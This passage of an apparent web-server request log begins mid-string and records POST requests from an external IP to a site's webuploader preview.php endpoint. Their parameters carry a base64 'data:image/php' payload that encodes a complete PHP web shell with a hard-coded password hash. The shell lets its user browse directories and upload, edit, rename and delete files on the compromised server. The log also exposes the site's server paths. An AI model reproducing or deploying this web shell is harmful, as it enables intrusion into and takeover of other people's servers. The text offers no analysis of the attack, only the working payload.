QogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:01+08:00 ] 119.42.146.234 POST 51tianwei.com/include/webuploader/0.1.5/server/preview.php [运行时间:0.003306s] [吞吐率:302.49req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA